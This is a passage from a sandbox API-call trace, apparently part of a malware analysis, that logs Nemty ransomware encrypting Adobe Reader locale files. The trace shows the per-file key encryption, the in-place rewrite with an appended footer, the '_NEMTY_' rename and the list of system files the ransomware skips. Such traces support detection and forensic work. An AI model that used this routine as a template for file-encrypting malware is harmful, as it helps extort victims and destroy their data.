lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SKY", lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SKY", lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SKY", lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.420] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SKY", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SKY", lpUsedDefaultChar=0x0) returned 7 [0183.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.420] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.420] Sleep (dwMilliseconds=0x5) [0183.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f9abf0, dwHighDateTime=0x1d561e8)) [0183.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20f9abf0, dwHighDateTime=0x1d561e8)) [0183.423] GetLastError () returned 0x0 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.423] GetLastError () returned 0x0 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.423] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.423] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.423] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="G3OJZrOAlKB5c2isZHf4hcWL/0ZM3zWO4sGn7Yd8oCe0DJuWP0bxl36iSsu1ge31\r\nxW5ffKmB+qgXmm8R3X/Ryxtoq8pEmgxGwad2yN7vnHGeSrF8Op1UV2ZEqrVFiP/V\r\nY97kUvRkfGZmciM5wq+kNtjD1tFwHrWtPguBJZ2j9KK54rhVce2GjLHNss6QVqRi\r\n6RB9VzYiU0iRaVeQETvAoPXFzw/ixCYnpm2oHtQI/QXsDwr57/l2R+PF0hy9f6Kc\r\nj6WCtVKexcLNLmSnKT6jHF8C4Vq2qt8tan0KaGoQ2KbYg58Z7xLSGrwE7covvhNs\r\nqL7YKpwVOIetIEPvBY1UJA==\r\n", pcchString=0x653e5dc) returned 1 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.423] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.423] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.423] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.424] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0183.424] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0183.424] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.424] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0183.426] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.426] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0183.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.427] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0183.427] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.427] CloseHandle (hObject=0x2e8) returned 1 [0183.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.427] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.427] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.427] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.427] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\DVA.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\dva.sky._nemty_kgobjgd_")) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.428] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.428] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.SKY", cAlternateFileName="")) returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2=".") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="..") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="...") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="windows") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="rsa") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="NTDETECT.COM") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="ntldr") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="MSDOS.SYS") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="IO.SYS") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="boot.ini") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="boot.ini") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="ntuser.dat") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="desktop.ini") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="CONFIG.SYS") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="RECYCLER") returned -1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.428] lstrcmpiW (lpString1="eBook.SKY", lpString2="bootmgr") returned 1 [0183.429] lstrcmpiW (lpString1="eBook.SKY", lpString2="programdata") returned -1 [0183.429] lstrcmpiW (lpString1="eBook.SKY", lpString2="appdata") returned 1 [0183.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SKY", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SKY", lpUsedDefaultChar=0x0) returned 9 [0183.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.429] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.429] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.429] Sleep (dwMilliseconds=0x5) [0183.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20fc0d50, dwHighDateTime=0x1d561e8)) [0183.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x20fc0d50, dwHighDateTime=0x1d561e8)) [0183.438] GetLastError () returned 0x0 [0183.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.438] GetLastError () returned 0x0 [0183.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.438] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.438] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.438] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.439] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.439] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.439] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="YeeFxQ0XaS8rEPKEzoiyEeq+K+AKrVUOvDc4h9Lb4SqzFNLy2sYNM6zG+GLi9riY\r\nuzNHPBXYqGCY/LSPan537p20N2TsaYpgpM8s+bGD48CCVSgMjq2Mi9iMQv7q9JJq\r\ncTiC5TIrrYLXrCGSgXGLsWfNb7YR5YSKfp+/tS4BmRUb3mosJS13J5s5dDNLwYgr\r\nYvRwSYCRuyViYf34lYcvu09iNL7GB9cYoxIT3tBF6FQw7egOhj/FW+/UCsQjm1J1\r\neB7qBe3xiA8jsNqy/klCQ+1oh8ClB7wHyTGiePM6nT5G7VEfzSriiDZFTLSkFT4B\r\nuoRravK8Wy1BEEt9KI2QyQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.439] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.439] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\eBook.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ebook.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.439] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0183.439] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0183.439] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.439] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0183.441] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.441] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0183.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.442] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0183.442] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.442] CloseHandle (hObject=0x2e8) returned 1 [0183.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.442] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.442] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\eBook.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ebook.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\eBook.SKY._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\ebook.sky._nemty_kgobjgd_")) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.443] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83125400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.SKY", cAlternateFileName="")) returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2=".") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="..") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="...") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="windows") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="$RECYCLE.BIN") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="rsa") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="NTDETECT.COM") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="ntldr") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="MSDOS.SYS") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="IO.SYS") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="boot.ini") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="boot.ini") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="AUTOEXEC.BAT") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="ntuser.dat") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="desktop.ini") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="CONFIG.SYS") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="RECYCLER") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="BOOTSECT.BAK") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="bootmgr") returned 1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="programdata") returned -1 [0183.443] lstrcmpiW (lpString1="EScript.SKY", lpString2="appdata") returned 1 [0183.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 